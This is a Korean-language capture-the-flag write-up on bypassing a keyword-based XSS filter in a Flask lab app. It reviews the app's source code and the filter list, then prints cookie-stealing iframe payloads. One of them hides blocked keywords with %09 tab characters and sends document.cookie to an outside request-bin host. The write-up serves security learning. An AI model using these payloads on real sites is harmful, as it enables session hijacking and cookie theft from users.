• xss filtering bypass advanced

Web Hacking [혼자실습] xss filtering bypass advanced

웹 구조

  1. /flag 에서 공격 스크립트 입력
  2. check_xss 함수에서 url 생성 (memo 페이지는 render_template을 사용하기에, vuln으로 접근하도록)
  3. read_url 함수에서 url 전달여부 판단
  4. /vuln 접근 시 실행되는 vuln 함수에서 xss_filter 진행

flag

GET 메소드 시, 스크립트를 입력할 수 있는 flag.html로 연결

POST 메소드 시, 입력된 값을 파라미터로 하여, check_xss 함수로 전달 (cookie에 flag 정보가 들어감)

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

check_xss 함수

vuln으로 가는 url을 생성하여 read_url 함수로 전달

* urllib 라이브러리 추가 정보

종류 설명
urllib.request url을 열거나, 요청 전달
urllib.error urllib.request 모듈에서 발생하는 예외 클래스 포함
urllib.parse url 문자열의 구문 분석과 관련된 작업 수행
urllib.robotparser robot.txt 파일을 구문 분석

urllib.parse.quote() : 아스키코드 형식이 아닌 글자를 URL 인코딩한다

아래 코드에서는, string으로 전달된 param 변수를 urllib.parse.quote() 을 통해 URL 인코딩하여 기존 주소에 붙여 전달한다.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

xss_filter 함수

해당 함수의 반복문을 보면, 필터링 문자열이 제거될 때까지 검사를 진행하지는 않으나, 필터링 문자열이 존재할 경우 “filtered!!!” 를 반환한다. 따라서, 앞선 함께실습에서 진행한 locatioonn 같은, 키워드 안에 키워드를 삽입하는 우회방법은 사용할 수 없다.

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

필터링 되는 문자

n차 필터링 해당 문자열
1차 script, on, javascript
2차 window, self, this, document, location, (, ), &#

기본적으로 전달해야하는 스크립트 내용

<script>document.location.href = "/memo?memo=" + document.cookie;</script>

익스플로잇

  • 부모의 cookie를 탈취해야함

  • 태그는 % 를 사용해 인코딩할 시 태그의 기능을 잃음

  • img, iframe 과 같이 js를 실행 가능한 다른 태그를 사용해야함. script 태그 사용 불가

다음과 같이 작성해보았으나 작동 X : data:// url은 origin이 null이므로 sop에 의해 상위 프레임 탐색이 차단되어, 쿠키 탈취가 되지 않음

<iframe srcdoc="data:base64;,PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gIi9tZW1vP21lbW89IiArIGRvY3VtZW50LmNvb2tpZTs8L3NjcmlwdD4="></iframe>

check_xss로 전달 -> url 형태로 인코딩하여 read_url 전달 -> 필터링 진행(소문자로 바꾸어서)

아래 코드를 전달해야하는데 어떻게 필터링을 해야할까

<iframe src="javascript:location.href='https://pgzkthr.request.dreamhack.games/memo?memo='+document.cookie">

인코딩을 진행하면 아래와 같이 나옴 -> 일단 javascript, location, document에 대한 필터링 필요

%3ciframe+src%3d%22javascript%3alocation.href%3d%27https%3a%2f%2fpgzkthr.request.dreamhack.games%2fmemo%3fmemo%3d%27%2bdocument.cookie%22%3e

인코딩 했을 때 값이 나와야하므로 아래 코드를 디코딩하여 전달

<iframe src="javascrip%09t:locatio%09n.href=%27https://pgzkthr.request.dreamhack.games/memo?memo=%27%2bdocumen%09t.cookie">

문제

과정에 상세히 기재되지는 않았지만 정말 모든 필터링을 다 시도해봤는데 인코딩되었을 때 필터링 형태가 반환되어야한다는 것을 생각하지 못함. 내가 넣은 아스키, 또는 유니코드 필터링들을 미리 디코딩해서 넣고, 인코딩 시 해당 형태가 반환되도록 하여 그 후 디코딩에서 해석되도록 만들었어야 했다. 이 방법을 미리 생각했다면 기존에 시도했던 많은 형태들도 작동됐을 것 같다는 생각이 들어 아쉬움이 남는다. 해당 문자들을 디코딩하여 넣어보긴 했으나, 디코더를 사용한 것이 아니라 수기로 디코딩을 진행했었는데 무언가 빠졌다거나 하는 문제가 발생했던 것 같다

결론 : 진작에 디코더 쓸 걸